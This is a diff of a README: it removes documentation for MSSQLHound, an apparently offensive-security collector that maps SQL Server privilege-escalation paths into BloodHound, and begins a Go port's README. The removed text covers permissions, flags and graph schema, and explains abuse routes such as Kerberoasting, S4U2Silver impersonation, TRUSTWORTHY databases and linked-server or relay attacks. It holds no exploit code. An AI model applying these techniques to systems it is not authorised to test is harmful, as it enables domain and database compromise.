- - **`VIEW SERVER PERFORMANCE STATE`** permission or `##MSS_ServerPerformanceStateReader##` role membership (available in versions 2022+) or local `Administrators` group privileges on the target (fallback for WMI collection)
- - Only used for service account collection
-
-### MSSQL Database Level:
- - **`CONNECT ANY DATABASE`** server permission (available in versions 2014+) or `##MS_DatabaseConnector##` role membership (available in versions 2022+) or login maps to a database user with `CONNECT` on individual databases
- - Needed to read database principals and their permissions
- - Login maps to **`msdb`** database user with **`db_datareader`** role or with `SELECT` permission on:
- - `msdb.dbo.sysproxies`
- - `msdb.dbo.sysproxylogin`
- - `msdb.dbo.sysproxysubsystem`
- - `msdb.dbo.syssubsystems`
- - Only used for proxy account collection
-
-# Usage Info
-Run MSSQLHound from a box where you aren’t highly concerned about resource consumption. While there are guardrails in place to stop the script if resource consumption is too high, it’s probably a good idea to be careful and run it on a workstation instead of directly on a critical database server, just in case.
-
-If you don't already have a specific target or targets in mind, start by running the script with the `-DomainEnumOnly` flag set to see just how many servers you’re dealing with in Active Directory. Then, use the `-ServerInstance` option to run it again for a single server or add all of the servers that look interesting to a file and run it again with the `-ServerListFile` option.
-
-If you don't do a dry run first and collect from all SQL servers with SPNs in the domain (the default action), expect the script to take a very long time to finish and eat up a ton of disk space if there ar a lot of servers in the environment. Based on limited testing in client environments, the file size for each server before they are all zipped ranges significantly from 2MB to 50MB+, depending on how many objects are on the server.
-
-To populate the MSSQL node glyphs in BloodHound, execute `MSSQLHound.ps1 -OutputFormat BloodHound-customnodes` (or copy the following) and use the API Explorer page to submit the JSON to the `custom-nodes` endpoint.
-
-```
-{
- "custom_types": {
- "MSSQL_DatabaseUser": {
- "icon": {
- "name": "user",
- "color": "#f5ef42",
- "type": "font-awesome"
- }
- },
- "MSSQL_Login": {
- "icon": {
- "name": "user-gear",
- "color": "#dd42f5",
- "type": "font-awesome"
- }
- },
- "MSSQL_DatabaseRole": {
- "icon": {
- "name": "users",
- "color": "#f5a142",
- "type": "font-awesome"
- }
- },
- "MSSQL_Database": {
- "icon": {
- "name": "database",
- "color": "#f54242",
- "type": "font-awesome"
- }
- },
- "MSSQL_ApplicationRole": {
- "icon": {
- "name": "robot",
- "color": "#6ff542",
- "type": "font-awesome"
- }
- },
- "MSSQL_Server": {
- "icon": {
- "name": "server",
- "color": "#42b9f5",
- "type": "font-awesome"
- }
- },
- "MSSQL_ServerRole": {
- "icon": {
- "name": "users-gear",
- "color": "#6942f5",
- "type": "font-awesome"
- }
- }
- }
-}
-```
-
-There are several new edges that have to be non-traversable because they are not abusable 100% of the time, including when:
-- the stored AD credentials might be stale/invalid, but maybe they are!
- - MSSQL_HasMappedCred
- - MSSQL_HasDBScopedCred
- - MSSQL_HasProxyCred
-- the server principal that owns the database does not have complete control of the server, but maybe it has other interesting permissions
- - MSSQL_IsTrustedBy
-- the server is linked to another server using a principal that does not have complete control of the remote server, but maybe it has other interesting permissions
- - MSSQL_LinkedTo
-- the service account can be used to impersonate domain users that have a login to the server, but we don’t have the necessary permissions to check that any domain users have logins
- - MSSQL_ServiceAccountFor
- - It would be unusual, but not impossible, for the MSSQL Server instance to run in the context of a domain service account and have no logins for domain users. If you can infer that certain domain users have access to a particular MSSQL Server instance or discover that information through other means (e.g., naming conventions, OSINT, organizational documentation, internal communications, etc.), you can request service tickets for those users to the MSSQL Server if you have control of the service account (e.g., by cracking weak passwords for Kerberoastable service principals).
-
-Want to be a bit more aggressive with your pathfinding queries? You can make these edges traversable using the `-MakeInterestingEdgesTraversable` flag.
-
-I also recommend conducting a collection with the `-IncludeNontraversableEdges` flag enabled at some point if you need to understand what permissions on which objects allow the traversable edges to be created. By default, non-traversable edges are skipped to make querying the data for valid attack paths easier. This is still a work in progress, but look out for the “Composition” item in the edge entity panel for each traversable edges to grab a pastable cypher query to identify the offending permissions.
-
-# Command Line Options
-For the latest and most reliable information, please execute MSSQLHound with the `-Help` flag.
-
-| Option
______________________________________________ | Values
_______________________________________________________________________________________________ |
-|--------|--------|
-| **-Help** `` | • Display usage information |
-| **-OutputFormat** `` | • **BloodHound**: OpenGraph implementation that collects data in separate files for each MSSQL server, then zips them up and deletes the originals. The zip can be uploaded to BloodHound by navigating to `Administration` > `File Ingest`
• **BloodHound-customnodes**: Generate JSON to POST to `custom-nodes` API endpoint
• **BloodHound-customnode**: Generate JSON for DELETE on `custom-nodes` API endpoint
• **BHGeneric**: Work in progress to make script compatible with [BHOperator](https://github.com/SadProcessor/BloodHoundOperator) |
-| **-ServerInstance** `` | • A specific MSSQL instance to collect from:
• **Null**: Query the domain for SPNs and collect from each server found
• **Name/FQDN**: ``
• **Instance**: `[:\|:]`
• **SPN**: `/[:\|:]` |
-| **-ServerListFile** `` | • Specify the path to a file containing multiple server instances to collect from in the ServerInstance formats above |
-| **-ServerList** `` | • Specify a comma-separated list of server instances to collect from in the ServerInstance formats above |
-| **-TempDir** `` | • Specify the path to a temporary directory where .json files will be stored before being zipped
Default: new directory created with `[System.IO.Path]::GetTempPath()` |
-| **-ZipDir** `` | • Specify the path to a directory where the final .zip file will be stored
• Default: current directory |
-| **-MemoryThresholdPercent** `` | • Maximum memory allocation limit, after which the script will exit to prevent availability issues
• Default: `90` |
-| **-Credential** `` | • Specify a PSCredential object to connect to the remote server(s) |
-| **-UserID** `` | • Specify a **login** to connect to the remote server(s) |
-| **-SecureString** `` | • Specify a SecureString object for the login used to connect to the remote server(s) |
-| **-Password** `` | • Specify a **password** for the login used to connect to the remote server(s) |
-| **-Domain** `` | • Specify a **domain** to use for name and SID resolution |
-| **-DomainController** `` | • Specify a **domain controller** FQDN/IP to use for name and SID resolution |
-| **-IncludeNontraversableEdges** (switch) | • **On**: • Collect both **traversable and non-traversable edges**
• **Off (default)**: Collect **only traversable edges** (good for offensive engagements until Pathfinding supports OpenGraph edges) |
-| **-MakeInterestingEdgesTraversable** (switch) | • **On**: Make the following edges traversable (useful for offensive engagements but prone to false positive edges that may not be abusable):
• **MSSQL_HasDBScopedCred**
• **MSSQL_HasMappedCred**
• **MSSQL_HasProxyCred**
• **MSSQL_IsTrustedBy**
• **MSSQL_LinkedTo**
• **MSSQL_ServiceAccountFor**
• **Off (default)**: The edges above are non-traversable |
-| **-SkipLinkedServerEnum** (switch) | • **On**: Don't enumerate linked servers
• **Off (default)**: Enumerate linked servers |
-| **-CollectFromLinkedServers** (switch) | • **On**: If linked servers are found, try and perform a full MSSQL collection against each server
• **Off (default)**: If linked servers are found, **don't** try and perform a full MSSQL collection against each server |
-| **-DomainEnumOnly** (switch) | • **On**: If SPNs are found, **don't** try and perform a full MSSQL collection against each server
• **Off (default)**: If SPNs are found, try and perform a full MSSQL collection against each server |
-| **-InstallADModule** (switch) | • **On**: Try to install the ActiveDirectory module for PowerShell if it is not already installed
• **Off (default)**: Do not try to install the ActiveDirectory module for PowerShell if it is not already installed. Rely on DirectoryServices, ADSISearcher, DirectorySearcher, and NTAccount.Translate() for object resolution. |
-| **-LinkedServerTimeout** `` | • Give up enumerating linked servers after `X` seconds
• Default: `300` seconds (5 minutes) |
-| **-FileSizeLimit** `` | • Stop enumeration after all collected files exceed this size on disk
• Supports MB, GB
• Default: `1GB` |
-| **-FileSizeUpdateInterval** `` | • Receive periodic size updates as files are being written for each server
• Default: `5` seconds |
-| **-Version** `` | • Display version information and exit |
-
-# Limitations
-- MSSQLHound can’t currently collect nodes and edges from linked servers over the link, although I’d like to add more linked server collection functionality in the future.
-- MSSQLHound doesn’t check DENY permissions. Because permissions are denied by default unless explicitly granted, it is assumed that use of DENY permissions is rare. One exception is the CONNECT SQL permission, for which the DENY permission is checked to see if the principal can remotely log in to the MSSQL instance at all.
-- MSSQLHound stops enumerating at the database level. It could be modified to go deeper (to the table/stored procedure or even column level), but that would degrade performance, especially when merging with the AD graph.
-- EPA enumeration without a login or Remote Registry access is not yet supported (but will be soon)
-- Separate collections in domains that can’t reach each other for principal SID resolution may not merge correctly when they are ingested (i.e., more than one MSSQL_Server node may represent the same server, one labelled with the SID, one with the name).
-
-# Future Development:
-- Unprivileged EPA collection (in the works)
-- Option to zip after every server (to save disk space)
-- Collection from linked servers
-- Collect across domains and trusts
-- Azure extension for SQL Server
-- AZUser/Groups for server logins / database users
-- Cross database ownership chaining
-- DENY permissions
-- EXECUTE permission on xp_cmdshell
-- UNSAFE/EXTERNAL_ACCESS permission on assembly (impacted by TRUSTWORTHY)
-- Add this to CoerceAndRelayToMSSQL:
- - Domain principal has CONNECT SQL (and EXECUTE on xp_dirtree or other stored procedures that will authenticate to a remote host)
- - Service account/Computer has a server login that is enabled on another SQL instance
- - EPA is not required on remote SQL instance
-
-# MSSQL Graph Model
-
-
-# MSSQL Nodes Reference
-## Server Level
-### Server Instance (`MSSQL_Server` node)
-
-The entire installation of the MSSQL Server database management system (DBMS) that contains multiple databases and server-level objects
-
-| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ |
-|----------|------------|
-| **Label**: string | • Format: `[:\|:]`
• Examples:
• `SQL.MAYYHEM.COM` (default port and instance name)
• `SQL.MAYYHEM.COM:SQL2012` (named instance) |
-| **Object ID**: string | • Format: `:`
• Example: `S-1-5-21-843997178-3776366836-1907643539-1108:1433`
• Port or instance name should be a part of the identifier in case there are multiple MSSQL Server instances on the same host.
• Two or more accounts are permitted to have identical SPNs in Active Directory (https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/setspn), and two or more names may resolve to the same host (e.g., `MSSQLSvc/ps1-db:1433` and `MSSQLSvc/ps1-db.mayyhem.com:1433`) so we will use the domain SID instead of the host portion of the SPN, when available.
• MSSQLSvc SPNs may contain an instance name instead of the port, in which case the SQL Browser service (`UDP/1434`) is used to determine the listening port for the MSSQL server. In other cases the port is dynamically chosen and the SPN updated when the service [re]starts. The `ObjectIdentifier` must be capable of storing either value in case there is an instance name in the SPN and the SQL Browser service is not reachable, and prefer instance over port.
• The script currently falls back to using the FQDN instead of the SID if the server can't be resolved to a domain object (for example, if it is resolved via DNS or reachable via the MSSQL port but can't be resolved to a principal in another domain).
• This format complicates things when trying to merge objects from collections taken from different domains, with different privileges, or when servers are discovered via SQL links. For example, when collecting from `hostA.domain1.local`, a link to `hostB.domain2.local:1433` is discovered. The collector can't resolve principals in `domain2`, so its `ObjectIdentifier` is the `hostname:port` instead. However, `hostB.domain2.local` is reachable on port `1433` and after connecting, the collector determines that its instance name is `SQLHOSTB`. Later, a collection is done on `HostB` from within `domain2`, so its `ObjectIdentifier` is either `sid:port` or `sid:instanceName`, depending on what's in the SPNs.|
-| **Databases**: List\ | • Names of databases contained in the SQL Server instance |
-| **Extended Protection**: string
(`Off` \| `Allowed` \| `Required` \| `Allowed/Required`) |• Allowed and required both prevent authentication relay to MSSQL (using service binding if Force Encryption is `No`, using channel binding if Force Encryption is `Yes`). |
-| **Force Encryption**: string
(`No` \| `Yes`) | • Does the server require clients to encrypt communications? |
-| **Has Links From Servers**: List\ | • SQL Server instances that have a link to this SQL Server instance
• There is no way to view this using SSMS or other native tools on the target of a link. |
-| **Instance Name**: string | • SQL Server instances are identified using either a port or an instance name.
• Default: `MSSQLSERVER` |
-| **Is Any Domain Principal Sysadmin**: bool | • If a domain principal is a member of the sysadmin server role or has equivalent permissions (`securityadmin`, `CONTROL SERVER`, or `IMPERSONATE ANY LOGIN`), the domain service account running MSSQL can impersonate such a principal to gain control of the server via S4U2Silver. See the `MSSQL_GetAdminTGS` edge for more information. |
-| **Is Linked Server Target**: bool | • Does any SQL Server instance have a link to this SQL Server instance?
• There is no way to view this using SSMS or other native tools on the target of a link. |
-| **Is Mixed Mode Auth Enabled**: bool | • **True**: both Windows and SQL logins are permitted to access the server remotely
• **False**: only Windows logins are permitted to access the server remotely |
-| **Linked To Servers**: List\ | • SQL Server instances that this SQL Server instance is linked to |
-| **Port**: uint |• SQL Server instances are identified using either a port or an instance name.
• Default: `1433` |
-| **Service Account**: string | • The Windows account running the SQL Server instance |
-| **Service Principal Names**: List\ | • SPNs associated with this SQL Server instance |
-| **Version**: string | • Result of `SELECT @@VERSION`
-
-### Server Login (`MSSQL_Login` node)
-
-A type of server principal that can be assigned permissions to access server-level objects, such as the ability to connect to the instance or modify server role membership. These principals can be local to the instance (SQL logins) or mapped to a domain user, computer, or group (Windows logins). Server logins can be added as members of server roles to inherit the permissions assigned to the role.
-
-| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ |
-|----------|------------|
-| **Label**: string | • Format: ``
• Example: `MAYYHEM\sqladmin` |
-| **Object ID**: string | • Format: `@`
• Example: `MAYYHEM\sqladmin@S-1-5-21-843997178-3776366836-1907643539-1108:1433` |
-| **Active Directory Principal**: string | • Name of the AD principal this login is mapped to |
-| **Active Directory SID**: string | • SID of the AD principal this login is mapped to |
-| **Create Date**: datetime | • When the login was created |
-| **Database Users**: List\ | • Names of each database user this login is mapped to |
-| **Default Database**: string | • The default database used when the login connects to the server |
-| **Disabled**: bool | • Is the account disabled? |
-| **Explicit Permissions**: List\ | • Server level permissions assigned directly to this login
• Does not include all effective permissions such as those granted through role membership |
-| **Is Active Directory Principal**: bool | • If a domain principal has a login, the domain service account running MSSQL can impersonate such a principal to gain control of the login via S4U2Silver. |
-| **Member of Roles**: List\ | • Names of roles this principal is a direct member of
• Does not include nested memberships |
-| **Modify Date**: datetime | • When the principal was last modified |
-| **Principal Id**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal |
-| **SQL Server**: string | • Name of the SQL Server where this object is a principal |
-| **Type**: string | • **ASYMMETRIC_KEY_MAPPED_LOGIN**: Used to sign modules within the database, such as stored procedures, functions, triggers, or assemblies and can't be used to connect to the server remotely. I haven't messed with these much but they can be assigned permissions and impersonated.
• **CERTIFICATE_MAPPED_LOGIN**: Used to sign modules within the database, such as stored procedures, functions, triggers, or assemblies and can't be used to connect to the server remotely. I haven't messed with these much but they can be assigned permissions and impersonated.
• **SQL_LOGIN**: This login is local to the SQL Server instance and mixed-mode authentication must be enabled to connect with it
• **WINDOWS_LOGIN**: A Windows account is mapped to this login
• **WINDOWS_GROUP**: A Windows group is mapped to this login |
-
-### Server Role (`MSSQL_ServerRole` node)
-
-A type of server principal that can be assigned permissions to access server-level objects, such as the ability to connect to the instance or modify server role membership. Server logins and user-defined server roles can be added as members of server roles, inheriting the role's permissions.
-
-| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ |
-|----------|------------|
-| **Label**: string | • Format: ``
• Example: `processadmin` |
-| **Object ID**: string | • Format: `@`
• Example: `processadmin@S-1-5-21-843997178-3776366836-1907643539-1108:1433` |
-| **Create Date**: datetime | • When the role was created |
-| **Explicit Permissions**: List\ | • Server level permissions assigned directly to this login
• Does not include all effective permissions such as those granted through role membership |
-| **Is Fixed Role**: bool | • Whether or not the role is built-in (i.e., ships with MSSQL and can't be removed) |
-| **Member of Roles**: List\ | • Names of roles this principal is a direct member of
• Does not include nested memberships |
-| **Members**: List\ | • Names of each principal that is a direct member of this role |
-| **Modify Date**: datetime | • When the principal was last modified |
-| **Principal Id**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal |
-| **SQL Server**: string | • Name of the SQL Server where this object is a principal |
-
-## Database Level
-
-### Database (`MSSQL_Database` node)
-
-A collection of database principals (e.g., users and roles) as well as object groups called schemas, each of which contains securable database objects such as tables, views, and stored procedures.
-
-| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ |
-|----------|------------|
-| **Label**: string | • Format: ``
• Example: `master` |
-| **Object ID**: string | • Format: `\`
• Example: `S-1-5-21-843997178-3776366836-1907643539-1108:1433\master` |
-| **Is Trustworthy**: bool | • Is the `Trustworthy` property of this database set to `True`?
• When `Trustworthy` is `True`, principals with control of the database are permitted to execute server level actions in the context of the database's owner, allowing server compromise if the owner has administrative privileges.
• Example: If `sa` owns the `CM_PS1` database and the database's `Trustworthy` property is `True`, then a user in the database with sufficient privileges could create a stored procedure with the `EXECUTE AS OWNER` statement and leverage the `sa` account's permissions to execute SQL statements on the server. See the `MSSQL_ExecuteAsOwner` edge for more information. |
-| **Owner Login Name**: string | • Example: `MAYYHEM\cthompson` |
-| **Owner Principal ID**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal |
-| **SQL Server**: string | • Name of the SQL Server where this object is a principal |
-
-### Database User (`MSSQL_DatabaseUser` node)
-
-A user that has access to the specific database it is contained in. Users may be mapped to a login or may be created without a login. Users can be assigned permissions to access database-level objects, such as the ability to connect to the database, access tables, modify database role membership, or execute stored procedures. Users and user-defined database roles can be added as members of database roles, inheriting the role's permissions.
-
-| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ |
-|----------|------------|
-| **Label**: string | • Format: `@`
• Example: `MAYYHEM\LOWPRIV@CM_CAS` |
-| **Object ID**: string | • Format: `@`
• `Example: MAYYHEM\LOWPRIV@S-1-5-21-843997178-3776366836-1907643539-1117:1433\CM_CAS` |
-| **Create Date**: datetime | • When the user was created |
-| **Database**: string | • Name of the database where this user is a principal |
-| **Default Schema**: string | • The default schema used when the user connects to the database |
-| **Explicit Permissions**: List\ | • Database level permissions assigned directly to this principal
• Does not include all effective permissions such as those granted through role membership |
-| **Member of Roles**: List\ | • Names of roles this principal is a direct member of
• Does not include nested memberships |
-| **Modify Date**: datetime | • When the principal was last modified |
-| **Principal Id**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal |
-| **Server Login**: string | • Name of the login this user is mapped to |
-| **SQL Server**: string | • Name of the SQL Server where this object is a principal |
-| **Type**: string | • **ASYMMETRIC_KEY_MAPPED_USER**: Used to sign modules within the database, such as stored procedures, functions, triggers, or assemblies and can't be used to connect to the server remotely. I haven't messed with these much but they can be assigned permissions and impersonated.
• **CERTIFICATE_MAPPED_USER**: Used to sign modules within the database, such as stored procedures, functions, triggers, or assemblies and can't be used to connect to the server remotely. I haven't messed with these much but they can be assigned permissions and impersonated.
• **SQL_USER**: This user is local to the SQL Server instance and mixed-mode authentication must be enabled to connect with it
• **WINDOWS_USER**: A Windows account is mapped to this user
• **WINDOWS_GROUP**: A Windows group is mapped to this user |
-
-### Database Role (`MSSQL_DatabaseRole` node)
-
-A type of database principal that can be assigned permissions to access database-level objects, such as the ability to connect to the database, access tables, modify database role membership, or execute stored procedures. Database users, user-defined database roles, and application roles can be added as members of database roles, inheriting the role's permissions.
-
-| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ |
-|----------|------------|
-| **Label**: string | • Format: `@`
• Example: `db_owner@CM_CAS` |
-| **Object ID**: string | • Format: `@`
• Example: `db_owner@S-1-5-21-843997178-3776366836-1907643539-1117:1433\CM_CAS` |
-| **Create Date**: datetime | • When the role was created |
-| **Database**: string | • Name of the database where this role is a principal |
-| **Explicit Permissions**: List\ | • Database level permissions assigned directly to this principal
• Does not include all effective permissions such as those granted through role membership |
-| **Member of Roles**: List\ | • Names of roles this principal is a direct member of
• Does not include nested memberships |
-| **Members**: List\ | • Names of each principal that is a direct member of this role |
-| **Modify Date**: datetime | • When the principal was last modified |
-| **Principal Id**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal |
-| **SQL Server**: string | • Name of the SQL Server where this object is a principal |
-
-### Application Role (`MSSQL_ApplicationRole` node)
-
-A type of database principal that is not associated with a user but instead is activated by an application using a password so it can interact with the database using the role's permissions.
-
-| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ |
-|----------|------------|
-| **Label**: string | • Format: `@`
• Example: `TESTAPPROLE@TESTDATABASE` |
-| **Object ID**: string | • Format: `@`
• Example: `TESTAPPROLE@S-1-5-21-843997178-3776366836-1907643539-1108:1433\TESTDATABASE` |
-| **Create Date**: datetime | • When the principal was created |
-| **Database**: string | • Name of the database where this object is a principal |
-| **Default Schema**: string | • The default schema used when the principal connects to the database |
-| **Explicit Permissions**: List\ | • Database level permissions assigned directly to this principal
• Does not include all effective permissions such as those granted through role membership |
-| **Member of Roles**: List\ | • Names of roles this principal is a direct member of
• Does not include nested memberships |
-| **Modify Date**: datetime | • When the principal was last modified |
-| **Principal Id**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal |
-| **SQL Server**: string | • Name of the SQL Server where this object is a principal |
-
-
-# MSSQL Edges Reference
-This section includes explanations for edges that have their own unique properties. Please refer to the `$script:EdgePropertyGenerators` variable in `MSSQLHound.ps1` for the following details:
-- Source and target node classes (all combinations)
-- Requirements
-- Default fixed roles with the permission
-- Traversability
-- Entity panel details (dynamically-generated)
- - General
- - Windows Abuse
- - Linux Abuse
- - OPSEC
- - References
- - Composition Cypher (where applicable)
-
-## Edge Classes and Properties
-
-### `MSSQL_ExecuteAsOwner`
-| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ |
-|-----------------------------------------------|------------|
-| **Database**: string | • Name of the target database where the source can execute SQL statements as the server-level owning principal |
-| **Database Is Trustworthy**: bool | • **True**: Database principals that can execute `EXECUTE AS OWNER` statements can execute actions in the context of the server principal that owns the database
• **False**: The database isn't allowed to access resources beyond the scope of the database |
-| **Owner Has Control Server**: bool | • **True**: The server principal that owns the database has the `CONTROL SERVER` permission, allowing complete control of the MSSQL server instance. |
-| **Owner Has Impersonate Any Login**: bool | • **True**: The server principal that owns the database has the `IMPERSONATE ANY LOGIN` permission, allowing complete control of the MSSQL server instance. |
-| **Owner Has Securityadmin**: bool | • **True**: The server principal that owns the database is a member of the `securityadmin` server role, allowing complete control of the MSSQL server instance. |
-| **Owner Has Sysadmin**: bool | • **True**: The server principal that owns the database is a member of the `sysadmin` server role, allowing complete control of the MSSQL server instance. |
-| **Owner Login Name**: string | • The name of the server login that owns the database
• Example: `MAYYHEM\cthompson` |
-| **Owner Object Identifier**: string | • The object identifier of the server login that owns the database |
-| **Owner Principal ID**: uint | • The identifier the SQL Server instance uses to associate permissions and other objects with this principal |
-| **SQL Server**: string | • Name of the SQL Server where this object is a principal |
-
-### `MSSQL_GetAdminTGS`
-| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ |
-|-----------------------------------------------|------------|
-| **Domain Principals with ControlServer**: List | • Domain principals with logins that have the `CONTROL SERVER` effective permission, allowing complete control of the MSSQL server instance. |
-| **Domain Principals with ImpersonateAnyLogin**: List | • Domain principals with logins that have the `IMPERSONATE ANY LOGIN` effective permission, allowing complete control of the MSSQL server instance. |
-| **Domain Principals with Securityadmin**: List | • Domain principals with membership in the `securityadmin` server role, allowing complete control of the MSSQL server instance. |
-| **Domain Principals with Sysadmin**: List | • Domain principals with membership in the `sysadmin` server role, allowing complete control of the MSSQL server instance. |
-
-### `MSSQL_HasDBScopedCred`
-| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ |
-|-----------------------------------------------|------------|
-| **Credential ID**: string | • The identifier the SQL Server instance uses to associate other objects with this principal |
-| **Credential Identity**: string | • The domain principal this credential uses to authenticate to resources |
-| **Credential Name**: string | • The name used to identify this credential in the SQL Server instance |
-| **Create Date**: datetime | • When the credential was created |
-| **Database**: string | • Name of the database where this object is a credential |
-| **Modify Date**: datetime | • When the credential was last modified |
-| **Resolved SID**: string | • The domain SID for the credential identity |
-
-### `MSSQL_HasMappedCred`
-| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ |
-|-----------------------------------------------|------------|
-| **Credential ID**: uint | • The identifier the SQL Server instance uses to associate other objects with this principal |
-| **Credential Identity**: string | • The domain principal this credential uses to authenticate to resources |
-| **Credential Name**: string | • The name used to identify this credential in the SQL Server instance |
-| **Create Date**: datetime | • When the credential was created |
-| **Modify Date**: datetime | • When the credential was last modified |
-| **Resolved SID**: string | • The domain SID for the credential identity |
-
-### `MSSQL_HasProxyCred`
-| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ |
-|-----------------------------------------------|------------|
-| **Authorized Principals**: List | • Principals that are authorized to use this proxy credential |
-| **Credential ID**: string | • The identifier the SQL Server instance uses to associate other objects with this principal |
-| **Credential Identity**: string | • The domain principal this credential uses to authenticate to resources |
-| **Credential Name**: string | • The name used to identify this credential in the SQL Server instance |
-| **Description**: string | • User-provided description of the proxy that uses this credential |
-| **Is Enabled**: bool | • Is the proxy that uses this credential enabled? |
-| **Proxy ID**: uint | • The identifier the SQL Server instance uses to associate other objects with this proxy |
-| **Proxy Name**: string | • The name used to identify this proxy in the SQL Server instance |
-| **Resolved SID**: string | • The domain SID for the credential identity |
-| **Resolved Type**: string | • The class of domain principal for the credential identity |
-| **Subsystems**: List | • Subsystems this proxy is configured with (e.g., `CmdExec`, `PowerShell`) |
-
-### `MSSQL_LinkedAsAdmin`
-| Property
______________________________________________ | Definition
_______________________________________________________________________________________________ |
-|-----------------------------------------------|------------|
-| **Data Access**: bool | • **True (enabled)**:
• The linked server can be used in distributed queries
• You can `SELECT`, `INSERT`, `UPDATE`, `DELETE` data through the linked server
• Four-part naming queries work: `[LinkedServer].[Database].[Schema].[Table]`
• `OPENQUERY()` statements work against this linked server
• **False (disabled)**:
• The linked server connection still exists but cannot be used for data queries
• Attempts to query through it will fail with an error
• The linked server can still be used for other purposes like RPC calls (if RPC is enabled) |
-| **Data Source**: string | • Format: `[\instancename]`
• Examples: `SITE-DB` or `CAS-PSS\CAS` |
-| **Local Login**: List | • The login(s) on the source that can use the link and connect to the linked server using the Remote Login |
-| **Path**: string | • The link used to collect the information needed to create this edge |
-| **Product**: string | • A user-defined name of the product used by the remote server
• Examples: `SQL Server`, `Oracle`, `Access` |
-| **Provider**: string | • The driver or interface that SQL Server uses to communicate with the remote data source |
-| **Remote Current Login**: string | • Displays the login context that is actually used on the remote linked server based on the results of the `SELECT SYSTEM_USER` SQL statement on the remote linked server
• If impersonation is used, it is likely that this value will be the login used for collection
• If not, this should match Remote Login |
-| **Remote Has Control Server**: bool | • Does the login context on the remote server have the `CONTROL SERVER` permission? |
-| **Remote Has Impersonate Any Login**: bool | • Does the login context on the remote server have the `IMPERSONATE ANY LOGIN` permission? |
-| **Remote Is Mixed Mode**: bool | • Is mixed mode authentication (for both Windows and SQL logins) enabled on the remote server? |
-| **Remote Is Securityadmin**: bool | • Is the login context on the remote server a member of the `securityadmin` server role? |
-| **Remote Is Sysadmin**: bool | • Is the login context on the remote server a member of the `sysadmin` server role? |
-| **Remote Login**: string | • The SQL Server authentication login that exists on the remote server that connections over this link are mapped to
• The password for this login must be saved on the source server
• Will be null if impersonation is used, in which case the login context being used on the source server is used to connect to the remote linked server |
-| **Remote Server Roles**: List | • Server roles the remote login context is a member of |
-| **RPC Out**: bool | • Can the source server call stored procedures on remote server? |
-| **Uses Impersonation**: bool | • Does the linked server attempt to use the current user's Windows credentials to authenticate to the remote server?
• For SQL Server authentication, a login with the exact same name and password must exist on the remote server.
• For Windows logins, the login must be a valid login on the linked server.
• This requires Kerberos delegation to be properly configured
• The user's actual Windows identity is passed through to the remote server |
-
-### Remaining Edges
-Please refer to the `$script:EdgePropertyGenerators` variable in `MSSQLHound.ps1` for the following details:
-- Source and target node classes (all combinations)
-- Requirements
-- Default fixed roles with the permission
-- Traversability
-- Entity panel details (dynamically-generated)
- - General
- - Windows Abuse
- - Linux Abuse
- - OPSEC
- - References
- - Composition Cypher (where applicable)
-
-All edges based on permissions may contain the `With Grant` property, which means the source not only has the permission but can grant it to other principals.
-
-| Edge Class
______________________________________________ | Properties
_______________________________________________________________________________________________ |
-|-----------------------------------------------|------------|
-
-| **`CoerceAndRelayToMSSQL`** | • No unique edge properties |
-
-| **`MSSQL_AddMember`** | • No unique edge properties |
-
-| **`MSSQL_Alter`** | • No unique edge properties |
-
-| **`MSSQL_AlterAnyAppRole`** | • No unique edge properties |
-
-| **`MSSQL_AlterAnyDBRole`** | • No unique edge properties |
-
-| **`MSSQL_AlterAnyLogin`** | • No unique edge properties |
-
-| **`MSSQL_AlterAnyServerRole`** | • No unique edge properties |
-
-| **`MSSQL_ChangeOwner`** | • No unique edge properties |
-
-| **`MSSQL_ChangePassword`** | • No unique edge properties |
-
-| **`MSSQL_Connect`** | • No unique edge properties |
-
-| **`MSSQL_ConnectAnyDatabase`** | • No unique edge properties |
-
-| **`MSSQL_Contains`** | • No unique edge properties |
-
-| **`MSSQL_Control`** | • No unique edge properties |
-
-| **`MSSQL_ControlDB`** | • No unique edge properties |
-
-| **`MSSQL_ControlServer`** | • No unique edge properties |
-
-| **`MSSQL_ExecuteAs`** | • No unique edge properties |
-
-| **`MSSQL_ExecuteOnHost`** | • No unique edge properties |
-
-| **`MSSQL_GetTGS`** | • No unique edge properties |
-
-| **`MSSQL_GrantAnyDBPermission`** | • No unique edge properties |
-
-| **`MSSQL_GrantAnyPermission`** | • No unique edge properties |
-
-| **`MSSQL_HasLogin`** | • No unique edge properties |
-
-| **`MSSQL_HostFor`** | • No unique edge properties |
-
-| **`MSSQL_Impersonate`** | • No unique edge properties |
-
-| **`MSSQL_ImpersonateAnyLogin`** | • No unique edge properties |
-
-| **`MSSQL_IsMappedTo`** | • No unique edge properties |
-
-| **`MSSQL_IsTrustedBy`** | • No unique edge properties |
-
-| **`MSSQL_LinkedTo`** | • Edge properties are the same as `MSSQL_LinkedAsAdmin` |
-
-| **`MSSQL_MemberOf`** | • No unique edge properties |
-
-| **`MSSQL_Owns`** | • No unique edge properties |
-
-| **`MSSQL_ServiceAccountFor`** | • No unique edge properties |
-
-| **`MSSQL_TakeOwnership`** | • No unique edge properties |
+# MSSQLHound Go
+
+A Go port of the [MSSQLHound](https://github.com/SpecterOps/MSSQLHound) PowerShell collector for adding MSSQL attack paths to BloodHound.
+
+## Why a Go Port?
+
+The original MSSQLHound PowerShell script is an excellent tool for SQL Server security analysis, but has some limitations that motivated this Go port:
+
+### Performance
+- **Concurrent Processing**: The Go version processes multiple SQL servers simultaneously using worker pools, significantly reducing total enumeration time in large environments
+- **Streaming Output**: Memory-efficient JSON streaming prevents memory exhaustion when collecting from servers with thousands of principals
